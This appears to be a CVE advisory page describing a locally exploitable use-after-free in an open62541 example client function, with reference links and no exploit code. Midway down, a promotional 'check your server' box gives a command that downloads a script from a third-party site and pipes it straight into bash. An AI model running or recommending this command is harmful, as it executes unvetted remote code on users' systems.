CVE-2026-18785
Published: Tue, 04 Aug 2026 17:16
Summary
A vulnerability was determined in o6 open62541 ca356b088ada7dee824d1b4acd07c1ff07ce242b. Impacted is the function UA_Client_getRemoteDataTypes of the file examples/custom_datatype/client_types_custom.
Details
A vulnerability was determined in o6 open62541 ca356b088ada7dee824d1b4acd07c1ff07ce242b. Impacted is the function UA_Client_getRemoteDataTypes of the file examples/custom_datatype/client_types_custom.c. Executing a manipulation can lead to use after free. It is possible to launch the attack on the local host. The exploit has been publicly disclosed and may be utilized. The project closed the issue report, stating that this is not the official way to report a security vulnerability.
Are YOU affected by CVE-2026-18785?
5-second check on your actual server. Reads /etc/os-release, uname -r, and dpkg-query; matches against the live USN + Debian Security Tracker feeds; tells you whether CVE-2026-18785 (and any other live CVE) applies. Anonymous, no signup.
curl https://mindsparkstack.com/scan.sh | bash
References
- https://github.com/gff-cw/information/issues/12
- https://github.com/open62541/open62541/issues/8131
- https://vuldb.com/cve/CVE-2026-18785
- https://vuldb.com/submit/857052
- https://vuldb.com/vuln/385787
- https://vuldb.com/vuln/385787/cti
- https://github.com/open62541/open62541/issues/8131
- https://vuldb.com/submit/857052
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